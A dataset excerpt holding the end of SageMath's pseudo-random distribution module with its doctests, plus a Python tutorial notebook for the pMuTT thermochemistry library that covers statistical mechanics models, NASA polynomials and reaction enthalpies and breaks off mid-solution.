0.5143475134191677, 0.04468968524815642, 0.332490606442413]\n    \"\"\"\n    return _pyrand().random()\n\ndef uniform(a, b):\n    r\"\"\"\n    Get a random number in the range [a, b).\n\n    Equivalent to \\code{a + (b-a) * random()}.\n\n    EXAMPLES::\n\n        sage: uniform(0, 1)\n        0.111439293741037\n        sage: uniform(e, pi)\n        0.5143475134191677*pi + 0.48565248658083227*e\n        sage: RR(_)\n        2.93601069876846\n    \"\"\"\n    return _pyrand().uniform(a, b)\n\ndef betavariate(alpha, beta):\n    r\"\"\"\n    Beta distribution.\n\n    Conditions on the parameters are alpha > 0 and beta > 0.\n    Returned values range between 0 and 1.\n\n    EXAMPLES::\n\n        sage: betavariate(0.1, 0.9)\n        9.75087916621299e-9\n        sage: betavariate(0.9, 0.1)\n        0.941890400939253\n    \"\"\"\n    return _pyrand().betavariate(alpha, beta)\n\ndef expovariate(lambd):\n    r\"\"\"\n    Exponential distribution.\n\n    lambd is 1.0 divided by the desired mean.  (The parameter would be\n    called \"lambda\", but that is a reserved word in Python.)  Returned\n    values range from 0 to positive infinity.\n\n    EXAMPLES::\n\n        sage: [expovariate(0.001) for i in range(3)]\n        [118.152309288166, 722.261959038118, 45.7190543690470]\n        sage: [expovariate(1.0) for i in range(3)]\n        [0.404201816061304, 0.735220464997051, 0.201765578600627]\n        sage: [expovariate(1000) for i in range(3)]\n        [0.0012068700332283973, 8.340929747302108e-05, 0.00219877067980605]\n    \"\"\"\n    return _pyrand().expovariate(lambd)\n\ndef gammavariate(alpha, beta):\n    r\"\"\"\n    Gamma distribution.  Not the gamma function!\n\n    Conditions on the parameters are alpha > 0 and beta > 0.\n\n    EXAMPLES::\n\n        sage: gammavariate(1.0, 3.0)\n        6.58282586130638\n        sage: gammavariate(3.0, 1.0)\n        3.07801512341612\n    \"\"\"\n    return _pyrand().gammavariate(alpha, beta)\n\ndef gauss(mu, sigma):\n    r\"\"\"\n    Gaussian distribution.\n\n    mu is the mean, and sigma is the standard deviation.  This is\n    slightly faster than the normalvariate() function, but is not\n    thread-safe.\n\n    EXAMPLES::\n\n       sage: [gauss(0, 1) for i in range(3)]\n       [0.9191011757657915, 0.7744526756246484, 0.8638996866800877]\n       sage: [gauss(0, 100) for i in range(3)]\n       [24.916051749154448, -62.99272061579273, -8.1993122536718...]\n       sage: [gauss(1000, 10) for i in range(3)]\n       [998.7590700045661, 996.1087338511692, 1010.1256817458031]\n    \"\"\"\n    return _pyrand().gauss(mu, sigma)\n\ndef lognormvariate(mu, sigma):\n    r\"\"\"\n    Log normal distribution.\n\n    If you take the natural logarithm of this distribution, you'll get a\n    normal distribution with mean mu and standard deviation sigma.\n    mu can have any value, and sigma must be greater than zero.\n\n    EXAMPLES::\n\n        sage: [lognormvariate(100, 10) for i in range(3)]\n        [2.9410355688290246e+37, 2.2257548162070125e+38, 4.142299451717446e+43]\n    \"\"\"\n    return _pyrand().lognormvariate(mu, sigma)\n\ndef normalvariate(mu, sigma):\n    r\"\"\"\n    Normal distribution.\n\n    mu is the mean, and sigma is the standard deviation.\n\n    EXAMPLES::\n\n       sage: [normalvariate(0, 1) for i in range(3)]\n       [-1.372558980559407, -1.1701670364898928, 0.04324100555110143]\n       sage: [normalvariate(0, 100) for i in range(3)]\n       [37.45695875041769, 159.6347743233298, 124.1029321124009]\n       sage: [normalvariate(1000, 10) for i in range(3)]\n       [1008.5303090383741, 989.8624892644895, 985.7728921150242]\n    \"\"\"\n    return _pyrand().normalvariate(mu, sigma)\n\ndef vonmisesvariate(mu, kappa):\n    r\"\"\"\n    Circular data distribution.\n\n    mu is the mean angle, expressed in radians between 0 and 2*pi, and\n    kappa is the concentration parameter, which must be greater than or\n    equal to zero.  If kappa is equal to zero, this distribution reduces\n    to a uniform random angle over the range 0 to 2*pi.\n\n    EXAMPLES::\n\n        sage: [vonmisesvariate(1.0r, 3.0r) for i in range(1, 5)]  # abs tol 1e-12\n        [0.898328639355427, 0.6718030007041281, 2.0308777524813393, 1.714325253725145]\n    \"\"\"\n    return _pyrand().vonmisesvariate(mu, kappa)\n\ndef paretovariate(alpha):\n    r\"\"\"\n    Pareto distribution.  alpha is the shape parameter.\n\n    EXAMPLES::\n\n        sage: [paretovariate(3) for i in range(1, 5)]\n        [1.0401699394233033, 1.2722080162636495, 1.0153564009379579, 1.1442323078983077]\n    \"\"\"\n    return _pyrand().paretovariate(alpha)\n\ndef weibullvariate(alpha, beta):\n    r\"\"\"\n    Weibull distribution.\n\n    alpha is the scale parameter and beta is the shape parameter.\n\n    EXAMPLES::\n\n        sage: [weibullvariate(1, 3) for i in range(1, 5)]\n        [0.49069775546342537, 0.8972185564611213, 0.357573846531942, 0.739377255516847]\n    \"\"\"\n    return _pyrand().weibullvariate(alpha, beta)\n", "meta": {"hexsha": "437baf8fa426d4d3668bb732bc26492d2fa26e8c", "size": 10501, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/prandom.py", "max_stars_repo_name": "qedhandle/sage", "max_stars_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/prandom.py", "max_issues_repo_name": "qedhandle/sage", "max_issues_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/prandom.py", "max_forks_repo_name": "qedhandle/sage", "max_forks_repo_head_hexsha": "8453ffb849b047893b6c61dd09176a84c9133342", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.2622478386, "max_line_length": 88, "alphanum_fraction": 0.6562232168, "include": true, "reason": "from sage", "num_tokens": 3188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.15817435473259922, "lm_q1q2_score": 0.07723391097756131}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # NAM 2019 pMuTT Workshop\n# \n# Instructions and materials for the \"Theory, Applications, and Tools for Kinetic Modeling\" workshop can be found on [our documentation page](https://vlachosgroup.github.io/pMuTT/nam_2019.html).\n# \n\n# # Table of Contents\n# \n# | **1\\. [Virtual Kinetic Laboratory Ecosystem](#section_1)**\n# \n# | **2\\. [Useful Links](#section_2)**\n# \n# | **3\\. [Constants](#section_3)**\n# \n# |-- **3.1. [Access common constants in appropriate units](#section_3_1)**\n# \n# |-- **3.2. [Convert between units](#section_3_2)**\n# \n# |-- **3.3. [Convert between equivalent quantities](#section_3_3)**\n# \n# | **4\\. [Exercise 1](#section_4)**\n# \n# | **5\\. [Creating statistical mechanical objects using StatMech](#section_5)**\n# \n# |-- **5.1. [Supported StatMech models](#section_5_1)**\n# \n# |--|-- **5.1.1 [Translations](#section_5_1_1)**\n# \n# |--|-- **5.1.2. [Vibrations](#section_5_1_2)**\n# \n# |--|-- **5.1.3. [Rotations](#section_5_1_3)**\n# \n# |--|-- **5.1.4. [Electronic](#section_5_1_4)**\n# \n# |--|-- **5.1.5. [Miscellaneous](#section_5_1_5)**\n# \n# |-- **5.2. [Initializing StatMech modes individually](#section_5_2)**\n# \n# |-- **5.3. [Initializing StatMech modes using presets](#section_5_3)**\n# \n# | **6\\. [Plot Thermodynamic Quantities](#section_6)**\n# \n# | **7\\. [Exercise 2](#section_7)**\n# \n# | **8\\. [Creating empirical objects](#section_8)**\n# \n# |-- **8.1. [Inputting a NASA polynomial directly](#section_8_1)**\n# \n# |-- **8.2. [Fitting an empirical object to a StatMech object](#section_8_2)**\n# \n# | **9\\. [Input/Output](#section_9)**\n# \n# |-- **9.1. [Input via Excel](#section_9_1)**\n# \n# |-- **9.2. [Output via Thermdat](#section_9_2)**\n# \n# | **10\\. [Reactions](#section_10)**\n# \n# | **11\\. [Exercise 3](#section_11)**\n# \n# | **12\\. [Solutions](#section_12)**\n# \n# |-- **12.1. [Solution 1](#section_12_1)**\n# \n# |-- **12.2. [Solution 2](#section_12_2)**\n# \n# |-- **12.3. [Solution 3](#section_12_3)**\n\n# <a id='section_1'></a>\n\n# # 1. Virtual Kinetic Laboratory Ecosystem\n# \n# <img src=\"images/SoftwareEcosystem1.svg\" width=600>\n# \n# \n# <img src=\"images/pmutt_logo.png\" width=400>\n# \n# - Estimates thermochemical and kinetic parameters using statistical mechanics, transition state theory\n# - Writes input files for kinetic models and eases thermodynamic analysis\n# - Implemented in Python\n#   - Easy to learn\n#   - Heavily used in scientific community\n#   - Object-oriented approach is a natural analogy to chemical phenomenon\n# - Library approach allows users to define the starting point and end point\n# \n# <img src=\"images/workflow.png\" width=600>\n# \n\n# <a id='section_2'></a>\n\n# # 2. Useful Links\n# \n# - [Documentation](https://vlachosgroup.github.io/pMuTT/): find the most updated documentation\n# - [Issues](https://github.com/VlachosGroup/pmutt/issues): report bugs, request features, receive help\n# - [Examples](https://vlachosgroup.github.io/pMuTT/examples.html): see examples\n\n# <a id='section_3'></a>\n\n# # 3. Constants\n# \n# The [constants module](https://vlachosgroup.github.io/pMuTT/constants.html) has a wide variety of functions for constants and unit conversion.\n\n# <a id='section_3_1'></a>\n\n# ## 3.1. Access common constants in appropriate units\n# Below, we access Planck's constant in J s.\n\n# In[1]:\n\n\nfrom pmutt import constants as c\n\nh1 = c.h('eV s', bar=True)\nprint('h = {} eV s'.format(h1))\n\n\n# <a id='section_3_2'></a>\n\n# ## 3.2. Convert between units\n# Below, we convert 12 atm of pressure to psi.\n\n# In[2]:\n\n\nfrom pmutt import constants as c\n\nP_atm = 12. # atm\nP_psi = c.convert_unit(num=P_atm, initial='atm', final='psi')\n\nprint('{} atm = {} psi'.format(P_atm, P_psi))\n\n\n# <a id='section_3_3'></a>\n\n# ## 3.3. Convert between equivalent quantities\n# Below, we convert 1000 wavenumbers (cm-1) to frequency.\n\n# In[3]:\n\n\nfrom pmutt import constants as c\n\nwave_num = 1000. # cm-1\nfreq = c.wavenumber_to_freq(wave_num) # Hz\n\nprint('{} cm-1 = {} Hz'.format(wave_num, freq))\n\n\n# <a id='section_4'></a>\n\n# # 4. Exercise 1\n# \n# Using `pmutt.constants`, calculate the dimensionless enthalpy (H/RT) using the following information:\n# - H = 0.5 eV\n# - T = 77 F\n\n# In[4]:\n\n\n# Fill in your answer for Exercise 1 here\n\n\n# <a id='section_5'></a>\n\n# # 5. Creating statistical mechanical objects using StatMech\n# \n# Molecules show translational, vibrational, rotational, electronic, and nuclear modes.\n# \n# <img src=\"images/statmech_modes.jpg\" width=800>\n\n# <a id='section_5_1'></a>\n\n# ## 5.1. Supported StatMech modes\n# \n# <img src=\"images/StatMech2.svg\" width=800>\n# \n# The StatMech object allows us to specify translational, vibrational, rotational, electronic and nuclear modes independently, which gives flexibility in what behavior you would like. Below are the available modes.\n\n# <a id='section_5_1_1'></a>\n\n# ### 5.1.1. Translations\n# - [``FreeTrans``](https://vlachosgroup.github.io/pMuTT/statmech.html#freetrans) - Translations assuming no intermolecular interactions\n\n# <a id='section_5_1_2'></a>\n\n# ### 5.1.2. Vibrations\n# - [``HarmonicVib``](https://vlachosgroup.github.io/pMuTT/statmech.html#harmonicvib) - Harmonic vibrations\n# - [``QRRHOVib``](https://vlachosgroup.github.io/pMuTT/statmech.html#harmonicvib) - Quasi rigid rotor harmonic oscillator. Low frequency modes are treated as rigid rotations.\n# - [``EinsteinVib``](https://vlachosgroup.github.io/pMuTT/statmech.html#einsteinvib) - Each atom in the crystal vibrates as independent 3D harmonic oscillators\n# - [``DebyeVib``](https://vlachosgroup.github.io/pMuTT/statmech.html#debyevib) - Improves upon ``EinsteinVib`` by considering simultaneous vibrations. Improves accuracy at lower temperatures.\n\n# <a id='section_5_1_3'></a>\n\n# ### 5.1.3. Rotations\n# - [``RigidRotor``](https://vlachosgroup.github.io/pMuTT/statmech.html#rigidrotor) - Molecule can be rotated with no change in bond properties\n\n# <a id='section_5_1_4'></a>\n\n# ### 5.1.4. Electronic\n# - [``GroundStateElec``](https://vlachosgroup.github.io/pMuTT/statmech.html#groundstateelec) - Electronic ground state of the system\n# - [``LSR``](https://vlachosgroup.github.io/pMuTT/statmech.html#linear-scaling-relationships-lsrs) - Linear Scaling Relationship to estimate binding energies using reference adsorbate\n\n# <a id='section_5_1_5'></a>\n\n# ### 5.1.5. Miscellaneous\n# - [``EmptyMode``](https://vlachosgroup.github.io/pMuTT/statmech.html#empty-mode) - Default mode if not specified. Does not contribute to any properties\n# - [``ConstantMode``](https://vlachosgroup.github.io/pMuTT/statmech.html#constant-mode) - Specify arbitrary values to thermodynamic quantities\n# \n# Using a ``StatMech`` mode gives you access to all the common thermodynamic properties.\n# \n# <img src=\"images/StatMech_obj.png\" width=400>\n# \n# For this example, we will use a hydrogen molecule as an ideal gas:\n# - translations with no interaction between molecules\n# - harmonic vibrations\n# - rigid rotor rotations\n# - ground state electronic structure\n# - no contribution from nuclear modes.\n# \n# <img src=\"images/H2_1.jpg\" width=200>\n\n# <a id='section_5_2'></a>\n\n# ## 5.2. Initializing StatMech modes individually\n\n# In[5]:\n\n\nfrom ase.build import molecule\nfrom pmutt.statmech import StatMech, trans, vib, rot, elec\n\nH2_atoms = molecule('H2')\n\n'''Translational'''\nH2_trans = trans.FreeTrans(n_degrees=3, atoms=H2_atoms)\n\n'''Vibrational'''\nH2_vib = vib.HarmonicVib(vib_wavenumbers=[4342.]) # vib_wavenumbers in cm-1\n\n'''Rotational'''\nH2_rot = rot.RigidRotor(symmetrynumber=2, atoms=H2_atoms)\n\n'''Electronic'''\nH2_elec = elec.GroundStateElec(potentialenergy=-6.77,spin=0) # potentialenergy in eV\n\n'''StatMech Initialization'''\nH2_statmech = StatMech(name='H2',\n                       trans_model=H2_trans,\n                       vib_model=H2_vib,\n                       rot_model=H2_rot,\n                       elec_model=H2_elec)\n\n'''Calculate thermodynamic properties'''\nH_statmech = H2_statmech.get_H(T=298., units='kJ/mol')\nS_statmech = H2_statmech.get_S(T=298., units='J/mol/K')\nprint('H_H2(T=298 K) = {:.1f} kJ/mol'.format(H_statmech))\nprint('S_H2(T=298 K) = {:.2f} J/mol/K'.format(S_statmech))\n\n\n# <a id='section_5_3'></a>\n\n# ## 5.3. Initializing StatMech modes using presets\n# \n# Commonly used models can be accessed via [``presets``](https://vlachosgroup.github.io/pMuTT/statmech.html#presets). The currently supported models are:\n# \n# - [``idealgas``](https://vlachosgroup.github.io/pMuTT/statmech.html#ideal-gas-idealgas) - Ideal gases\n# - [``harmonic``](https://vlachosgroup.github.io/pMuTT/statmech.html#harmonic-approximation-harmonic) - Typical for surface species\n# - [``electronic``](https://vlachosgroup.github.io/pMuTT/statmech.html#electronic-electronic) - Only has electronic modes\n# - [``placeholder``](https://vlachosgroup.github.io/pMuTT/statmech.html#placeholder-placeholder) - No contribution to any property\n# - [``constant``](https://vlachosgroup.github.io/pMuTT/statmech.html#constant-constant) - Use arbitrary constants to thermodynamic properties\n# \n\n# In[6]:\n\n\nfrom ase.build import molecule\nfrom pmutt.statmech import StatMech, presets\n\nH2_statmech = StatMech(atoms=molecule('H2'),\n                       vib_wavenumbers=[4342.], # cm-1\n                       symmetrynumber=2,\n                       potentialenergy=-6.77, # eV\n                       spin=0.,\n                       **presets['idealgas'])\n\n'''Calculate thermodynamic properties'''\nH_statmech = H2_statmech.get_H(T=298., units='kJ/mol')\nS_statmech = H2_statmech.get_S(T=298., units='J/mol/K')\nprint('H_H2(T=298 K) = {:.1f} kJ/mol'.format(H_statmech))\nprint('S_H2(T=298 K) = {:.2f} J/mol/K'.format(S_statmech))\n\n\n# <a id='section_6'></a>\n\n# # 6. Plot Thermodynamic Quantities\n# Use [`pmutt.plot_1D`](https://vlachosgroup.github.io/pMuTT/visual.html#plot-1d) and [`pmutt.plot_2D`](https://vlachosgroup.github.io/pMuTT/visual.html#plot-2d) to plot any function with respect to 1 or 2 variables.\n\n# In[7]:\n\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom pmutt import plot_1D, plot_2D\n\nT = np.linspace(300., 500.)\n\nf1, ax1 = plot_1D(H2_statmech,\n                  x_name='T', x_values=T,\n                  methods=('get_H', 'get_S', 'get_G'),\n                  get_H_kwargs={'units': 'kcal/mol'},\n                  get_S_kwargs={'units': 'cal/mol/K'},\n                  get_G_kwargs={'units': 'kcal/mol'})\nf1.set_size_inches(6, 6)\nf1.set_dpi(200)\nplt.show()\n\n\n# <a id='section_7'></a>\n\n# # 7. Exercise 2\n# \n# 1. Create a ``StatMech`` object for ideal gas-phase H2O. The necessary inputs are given below.\n# \n# |            Parameter           |             Value            |\n# |--------------------------------|------------------------------|\n# |              atoms             |       `molecule('H2O')`      |\n# |      Potential Energy (eV)     |            -6.7598           |\n# |         Symmetry number        |               2              |\n# |              Spin              |               0              |\n# | Vibrational Wavenumbers (cm-1) | 3825.434, 3710.264, 1582.432 |\n# \n# 2. Calculate the Gibbs energy in eV for H2O at T = 500 K and P = 2 bar.\n# \n# 3. Create a ``StatMech`` object for a Cu crystal using the ``DebyeVib`` model for the vibration mode and ``GroundStateElec`` model for electronic mode. The necessary inputs are given below.\n# \n# | Parameter              | Value      |\n# |------------------------|------------|\n# | Debye Temperature (K)  | 310        |\n# | Interaction energy (eV)| 0          |\n# | Potential energy (eV)  | -14.922356 |\n# \n# 4. Plot the H (in eV) and S (in eV/K) for Cu between T = 300 - 700 K.\n\n# In[8]:\n\n\n# Fill in your answer for Exercise 2 here\n\n# 1.\n\n\n# 2.\n\n\n# 3.\n\n\n# 4.\n\n\n# <a id='section_8'></a>\n\n# # 8. Creating empirical objects\n# Currently, pMuTT supports [NASA polynomials](https://vlachosgroup.github.io/pMuTT/empirical.html#nasa) and [Shomate polynomials](https://vlachosgroup.github.io/pMuTT/empirical.html#shomate). They can be initialized in three ways:\n# - passing in the polynomials directly\n# - from a model (e.g. ``StatMech``, ``Shomate``) (``from_model``)\n# - from heat capacity, enthalpy and entropy data (``from_data``)\n# \n# <img src=\"images/nasa_func1.png\" width=400>\n\n# <a id='section_8_1'></a>\n\n# ## 8.1. Inputting a NASA polynomial directly\n# \n# The H2 NASA polynomial from the [Burcat database](http://combustion.berkeley.edu/gri_mech/version30/files30/thermo30.dat) is represented as:\n# \n# ```\n# H2                TPIS78H   2               G   200.000  3500.000  1000.000    1\n#  3.33727920E+00-4.94024731E-05 4.99456778E-07-1.79566394E-10 2.00255376E-14    2\n# -9.50158922E+02-3.20502331E+00 2.34433112E+00 7.98052075E-03-1.94781510E-05    3\n#  2.01572094E-08-7.37611761E-12-9.17935173E+02 6.83010238E-01                   4\n# ```\n# \n# This can be translated to pMuTT syntax using:\n\n# In[9]:\n\n\nfrom pmutt.empirical.nasa import Nasa\n\n# Initialize NASA polynomial\nH2_nasa = Nasa(name='H2',\n               elements={'H': 2},\n               phase='G',\n               T_low=200., T_mid=1000., T_high=3500.,\n               a_low=[2.34433112E+00, 7.98052075E-03, -1.94781510E-05,\n                      2.01572094E-08, -7.37611761E-12, -9.17935173E+02,\n                      6.83010238E-01],\n               a_high=[3.33727920E+00, -4.94024731E-05, 4.99456778E-07,\n                       -1.79566394E-10, 2.00255376E-14, -9.50158922E+02,\n                       -3.20502331E+00])\n\n# Calculate thermodynamic quantities using the same syntax as StatMech\nH_H2 = H2_nasa.get_H(units='kcal/mol', T=298.)\nprint('H_H2(T=298 K) = {} kcal/mol'.format(H_H2))\n\n# Show thermodynamic quantities vs. T\nT = np.linspace(200., 3500.)\nf2, ax2 = plot_1D(H2_nasa,\n                  x_name='T', x_values=T,\n                  methods=('get_H', 'get_S', 'get_G'),\n                  get_H_kwargs={'units': 'kcal/mol'},\n                  get_S_kwargs={'units': 'cal/mol/K'},\n                  get_G_kwargs={'units': 'kcal/mol'})\nf2.set_size_inches(6, 6)\nf2.set_dpi(200)\nplt.show()\n\n\n# <a id='section_8_2'></a>\n\n# ## 8.2. Fitting an empirical object to a StatMech object\n# Empirical objects can be made directly using ``StatMech`` objects and the ``from_model`` method.\n\n# In[10]:\n\n\nH2_nasa = Nasa.from_model(name='H2',\n                          T_low=200.,\n                          T_high=3500.,\n                          model=H2_statmech)\n\n# Compare the statistical mechanical model to the empirical model\nf3, ax3 = H2_nasa.plot_statmech_and_empirical(Cp_units='J/mol/K',\n                                              H_units='kJ/mol',\n                                              S_units='J/mol/K',\n                                              G_units='kJ/mol')\nf3.set_size_inches(6, 8)\nf3.set_dpi(200)\nplt.show()\n\n\n# <a id='section_9'></a>\n\n# # 9. Input/Output\n# pMuTT has more IO functionality than below. See this page for [supported IO functions](https://vlachosgroup.github.io/pMuTT/io.html).\n\n# <a id='section_9_1'></a>\n\n# ## 9.1. Input via Excel\n# \n# Encoding each object in Python can be tedious. You can read several species from Excel spreadsheets using [``pmutt.io.excel.read_excel``](https://vlachosgroup.github.io/pmutt/io.html?highlight=read_excel#pmutt.io.excel.read_excel). Note that this function returns a list of dictionaries. This output allows you to initialize whichever object you want using kwargs syntax. There are also [special rules that depend on the header name](https://vlachosgroup.github.io/pMuTT/io.html#special-rules).\n# \n# Below, we show an example importing species data from a spreadsheet and creating a series of NASA polynomials.\n\n# In[11]:\n\n\nimport os\nfrom pprint import pprint\nfrom pathlib import Path\nfrom pmutt.io.excel import read_excel\nfrom pmutt.empirical.nasa import Nasa\n\n# Find the location of Jupyter notebook\n# Note that normally Python scripts have a __file__ variable but Jupyter notebook doesn't.\n# Using pathlib can overcome this limiation\ntry:\n    notebook_folder = os.path.dirname(__file__)\nexcept NameError:\n    notebook_folder = Path().resolve()\nos.chdir(notebook_folder)\n\n# Read the data from Excel\nab_initio_data = read_excel(io='./input/NH3_Input_Data.xlsx', sheet_name='species')\npprint(ab_initio_data)\n\n\n# In[12]:\n\n\n# Create NASA polynomials using **kwargs syntax\nnasa_species = []\nfor species_data in ab_initio_data:\n    single_nasa_species = Nasa.from_model(T_low=100.,\n                                          T_high=1500.,\n                                          **species_data)\n    nasa_species.append(single_nasa_species)\n\n# Print out a table using enthalpy, entropy, Gibbs energy at 298 K for each species\nprint('Name         Enthalpy (kcal/mol)   Entropy (cal/mol/K)   Gibbs energy (kcal/mol)')\nprint('--------------------------------------------------------------------------------')\nfor single_nasa_species in nasa_species:\n    name = single_nasa_species.name\n    H = single_nasa_species.get_H(units='kcal/mol', T=298.)\n    S = single_nasa_species.get_S(units='cal/mol/K', T=298.)\n    G = single_nasa_species.get_G(units='kcal/mol', T=298.)\n    print('{:12}       {:10.1f}       {:15.1f}       {:15.1f}'.format(name, H, S, G))\n    \n\n\n# <a id='section_9_2'></a>\n\n# ## 9.2. Output via Thermdat\n# The thermdat format uses NASA polynomials to represent several species. It has a very particular format so doing it manually is error-prone. You can write a list of ``Nasa`` objects to thermdat format using [``pmutt.io.thermdat.write_thermdat``](https://vlachosgroup.github.io/pmutt/io.html#pmutt.io.thermdat.write_thermdat). \n# \n# Below, we write a thermdat file using the species imported from the spreadsheet.\n\n# In[13]:\n\n\nfrom pmutt.io.thermdat import write_thermdat\n\nwrite_thermdat(filename='./output/thermdat', nasa_species=nasa_species)\n\n\n# Similarly, a list of ``Nasa`` objects can be read from a thermdat using [``pmutt.io.thermdat.read_thermdat``](https://vlachosgroup.github.io/pMuTT/io.html#pmutt.io.thermdat.read_thermdat). \n\n# In[14]:\n\n\nfrom pmutt.io.thermdat import read_thermdat\n\nnasa_species = read_thermdat('./output/thermdat')\n\n\n# <a id='section_10'></a>\n\n# # 10. Reactions\n# \n# <img src=\"images/reaction.png\" width=800>\n# \n# ``Reaction`` objects can be created by putting together ``Nasa``, ``Shomate`` and ``StatMech`` objects.\n# \n# <img src=\"images/reaction_func1.png\" width=800>\n# \n# \n# The ``from_string`` method is the easiest way to create a ``Reaction`` object. It requires the relevant species to be in a dictionary and a string to describe the reaction.\n# \n# <img src=\"images/reaction_string.svg\" width=800>\n# \n# We will demonstrate its use for the formation of NH3.\n\n# In[15]:\n\n\nfrom pmutt.empirical.nasa import Nasa\nfrom pmutt.empirical.shomate import Shomate\nfrom pmutt.reaction import Reaction\n\n# Create species. Note that you can mix different types of species\nspecies = {\n    'H2': StatMech(name='H2', atoms=molecule('H2'),\n                   vib_wavenumbers=[4342.], # cm-1\n                   symmetrynumber=2,\n                   potentialenergy=-6.77, # eV\n                   spin=0.,\n                   **presets['idealgas']),\n    'N2': Nasa(name='N2', T_low=300., T_mid=643., T_high=1000.,\n               a_low=[3.3956319945669633, 0.001115707689025668,\n                      -4.301993779374381e-06, 6.8071424019295535e-09,\n                      -3.2903312791047058e-12, -191001.55648623788,\n                      3.556111439828502],\n               a_high=[4.050329990684662, -0.0029677854067980108,\n                       5.323485005316287e-06, -3.3518122405333548e-09,\n                       7.58446718337381e-13, -191086.2004520406,\n                       0.6858235504924011]),\n    'NH3': Shomate(name='NH3', T_low=300., T_high=1000.,\n                   a=[18.792357134351683, 44.82725349479501,\n                      -10.05898449447048, 0.3711633831565547,\n                      0.2969942466370908, -1791.225746924463,\n                      203.9035662274934, 1784.714638346206]),\n}\n\n# Define the formation of water reaction\nrxn = Reaction.from_string('1.5H2 + 0.5N2 = NH3', species)\n\n# Calculate forward change in enthalpy\nH_rxn_fwd = rxn.get_delta_H(units='kcal/mol', T=300.)\nprint('Delta H_fwd(T = 300 K) = {:.1f} kcal/mol'.format(H_rxn_fwd))\n\n# Calculate reverse change in enthalpy\nH_rxn_rev = rxn.get_delta_H(units='kcal/mol', T=300., rev=True)\nprint('Delta H_rev(T = 300 K) = {:.1f} kcal/mol'.format(H_rxn_rev))\n\n# Calculate enthalpy of reactants\nH_react = rxn.get_H_state(units='kcal/mol', T=300., state='reactants')\nprint('H_reactants(T = 300 K) = {:.1f} kcal/mol'.format(H_react))\n\n\n# <a id='section_11'></a>\n\n# ## 11. Exercise 3\n# \n# 1. Use [``pmutt.io.thermdat.read_thermdat``](https://vlachosgroup.github.io/pMuTT/io.html#pmutt.io.thermdat.read_thermdat) to read the thermdat from './output/thermdat'.\n# \n# 2. Convert the list of ``Nasa`` to a dictionary of ``Nasa`` using ``pmutt.pmutt_list_to_dict``. The syntax to use the function is shown below.\n# \n# ```\n# from pmutt import pmutt_list_to_dict\n# \n# species_dict = pmutt_list_to_dict(species_list)\n# ```\n# \n# 3. Create a ``Reaction`` from the string: ``NH3(S) + RU(S) = TS1_NH3(S) = NH2(S) + H(S)`` and the dictionary from step 2.\n# \n# 4. Calculate the forward reaction enthalpy in kcal/mol at 298 K using [``Reaction.get_delta_H``](https://vlachosgroup.github.io/pMuTT/reactions.html#pmutt.reaction.Reaction.get_E_act).\n# \n# 5. Calculate the forward activation energy in kcal/mol at 298 K using [``Reaction.get_E_act``](https://vlachosgroup.github.io/pMuTT/reactions.html#pmutt.reaction.Reaction.get_E_act).\n\n# In[16]:\n\n\n# Fill in your answer for Exercise 3\n\n# 1.\n\n\n# 2.\n\n\n# 3. \n\n\n# 4.\n\n\n# 5.\n\n\n# <a id='section_12'></a>\n\n# # 12. Solutions\n\n# <a id='section_12_1'></a>\n\n# ## 12.1. Solution to Exercise 1\n# [Link to Exercise 1](#section_4)\n\n# In[17]:\n\n\nfrom pmutt import constants as c\n\n# Define information given\nH = 0.5 # eV\nT = 77 # F\n\n# Calculate H/RT\nHoRT = H/c.R('eV/K')/c.convert_unit(77, initial='F', final='K')\nprint('H/RT = {}'.format(HoRT))\n\n\n# <a id='section_12_2'></a>\n\n# ## 12.2. Solution to Exercise 2\n# [Link to Exercise 2](#section_7)\n\n# In[18]:\n\n\nfrom ase.build import molecule\nfrom pmutt import plot_1D\nfrom pmutt.statmech import StatMech, presets\nfrom pmutt.statmech.vib import DebyeVib\nfrom pmutt.statmech.elec import GroundStateElec\n\n# 1. Create H2O molecule\nH2O_statmech = StatMech(atoms=molecule('H2O'),\n                        potentialenergy=-6.7598,\n                        symmetrynumber=2,\n                        spin=0,\n                        vib_wavenumbers=[3825.434, 3710.264, 1582.432],\n                        **presets['idealgas'])\n\n\n# 2. Calculate Gibbs energy of H2O at T = 500 K and P = 2 bar\nT = 500. # K\nP = 2. # bar\nG_H2O = H2O_statmech.get_G(units='eV', T=T, P=P)\nprint('G_H2O(T = 500 K, P = 2 bar) = {} eV'.format(G_H2O))\n\n\n# 3. Create Cu crystal\nCu_vib = DebyeVib(debye_temperature=310., interaction_energy=0.)\nCu_elec = GroundStateElec(potentialenergy=-14.922356)\nCu_statmech = StatMech(vib_model=Cu_vib, elec_model=Cu_elec)\n\n\n# 4. Plot the 1D profile for H and S between 300 K and 700 K\nT = np.linspace(300., 700.) # K\nf2, ax2 = plot_1D(Cu_statmech,\n                  x_name='T', x_values=T,\n                  methods=('get_H', 'get_S'),\n                  get_H_kwargs={'units': 'eV'},\n                  get_S_kwargs={'units': 'eV/K'})\nf2.set_size_inches(6, 6)\nf2.set_dpi(200)\nplt.show()\n\n\n# <a id='section_12_3'></a>\n\n# ## 12.3. Solution to Exercise 3\n# [Link to Exercise 3](#section_11)\n\n# In[19]:\n\n\nfrom pmutt.io.thermdat import read_thermdat\nfrom pmutt import pmutt_list_to_dict\nfrom pmutt.reaction import Reaction\n\n# 1. Read the thermdat file\nspecies_list = read_thermdat('./output/thermdat')\n\n# 2. Convert the list of Nasa to a dictionary of Nasa\nspecies_dict = pmutt_list_to_dict(species_list)\n\n# 3. Create a Reaction from the specified string\nrxn = Reaction.from_string('NH3(S) + RU(S) = TS1_NH3(S) = NH2(S) + H(S)', species_dict)\n\n# 4. Calculate the reaction 